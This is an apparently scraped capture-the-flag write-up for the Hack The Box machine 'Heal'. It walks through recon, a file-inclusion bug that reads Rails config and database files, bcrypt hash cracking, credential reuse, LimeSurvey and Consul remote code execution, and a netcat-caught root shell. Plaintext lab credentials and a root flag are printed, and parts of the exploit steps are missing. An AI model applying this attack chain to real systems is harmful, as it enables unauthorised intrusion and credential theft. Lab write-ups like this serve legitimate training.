Heal is a medium-difficulty machine from Hack The Box dealing initially with a Local File Inclusion that allows us to parse Ruby On Rails files and exfiltrate database credentials thatβll allow us to connect to an administrator account on a LimeSurvey instance where weβll abuse a LimeSurvet RCE vulnerability thatβll get us system access. Weβll then do some more exfiltration and abuse a local instance of Hashicorp Consul via another RCE to land root shell.
Heal-info-card
Reconnaissance
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
PS C:\Users\0xkujen> nmap -A-Pn10.10.11.46 Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-1507:28 W. Central Africa Standard Time Nmap scan report for10.10.11.46 Host is up (0.31s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 25668:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA) |_ 25652:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://heal.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in55.38 seconds
We can see that we have ssh open through port 22 and a web app deployed on port 80 redirecting us to heal.htb. So letβs add that entry to our /etc/hosts file.
We can see that we are able to create an account and login to an existing account. So letβs create one. We are able to interact with all these features: Web Application Web Application Web Application Web Application
Now when inspecting the βexport reportβ feature, weβll see that itβs download us the report through a filename parameter. We can just modify the HTTP verb to βGETβ instead of βOPTIONSβ and add the authorization bearer for our account and we have ourselves an LFI: LFI
Now checking the API endpoint for Heal, we can see itβs using Ruby On Rails: LFI
Checking the OWASP documentation for Ruby , we can see a list of some sensitive files such as /config/database.yml : LFI
And in it we can see the path to an SQLITE3 database so letβs check it out: LFI
And in it we can find the hash for ralph user: $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
We can pass that to john and get our password:
1 2 3 4 5 6 7 8 9 10 11
βββ(kaliγΏkali)-[~] ββ$ john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 4096 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 147258369 (?) 1g 0:00:00:10 DONE (2024-12-15 08:26) 0.09689g/s 48.83p/s 48.83c/s 48.83C/s pasaway..claire Use the "--show" option to display all of the cracked passwords reliably Session completed.
And now we can use that to authenticate as ralph on the dashboard: ralph user
LimeSurvey RCE
Now with Ralph, we can go to the βTake a surveyβ tab and weβll be redirected to http://take-survey.heal.htb/ which is using LimeSurvey 6.6.4. We are able to know the version once we login on http://take-survey.heal.htb/admin by reusing ralphβs credentials: LimeSurvey
www-data@heal:~/limesurvey/application/config$ cat config.php cat config.php <?php if (!defined('BASEPATH')) exit('No direct script access allowed'); /* | ------------------------------------------------------------------- | DATABASE CONNECTIVITY SETTINGS | ------------------------------------------------------------------- | This file will contain the settings needed to access your database. | | For complete instructions please consult the 'Database Connection' | page of the User Guide. | | ------------------------------------------------------------------- | EXPLANATION OF VARIABLES | ------------------------------------------------------------------- | | 'connectionString' Hostname, database, port and database typefor | the connection. Driver example: mysql. Currently supported: | mysql, pgsql, mssql, sqlite, oci | 'username' The username used to connect to the database | 'password' The password used to connect to the database | 'tablePrefix' You can add an optional prefix, which will be added | to the table name when using the Active Record class | */ return array( 'components' => array( 'db' => array( 'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;', 'emulatePrepare' => true, 'username' => 'db_user', 'password' => 'AdmiDi0_pA$$w0rd', 'charset' => 'utf8', 'tablePrefix' => 'lime_', ),
'session' => array ( 'sessionName'=>'LS-ZNIDJBOXUNKXWTIP', // Uncomment the following lines if you need table-based sessions. // Note: Table-based sessions are currently not supported on MSSQL server. // 'class' => 'application.core.web.DbHttpSession', // 'connectionID' => 'db', // 'sessionTableName' => '{{sessions}}', ),
'urlManager' => array( 'urlFormat' => 'path', 'rules' => array( // You can add your own rules here ), 'showScriptName' => true, ),
// If URLs generated while running on CLI are wrong, you need to set the baseUrl in the request component. For example: //'request' => array( // 'baseUrl' => '/limesurvey', //), ), <snip>
ron:AdmiDi0_pA$$w0rd
Letβs login with this now and get our user flag:
[+] Request sent successfully, check your listener
PS C:\Users\0xkujen\>
For the βX-Consul-Tokenβ, we can just put in a random value and itβll get accepted.
And we are root:
1 2 3 4 5 6 7 8 9 10 11 12
PS C:\Users\0xkujen> nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.16.33] from (UNKNOWN) [10.10.11.46] 51746 bash: cannot set terminal process group (44518): Inappropriate ioctl for device bash: no job control in this shell root@heal:/# id id uid=0(root) gid=0(root) groups=0(root) root@heal:/# cat /root/root.txt cat /root/root.txt da6d6c54d52b30a5473a371a231804e7 root@heal:/#
That was it for Heal, hope you learned something new! -0xkujen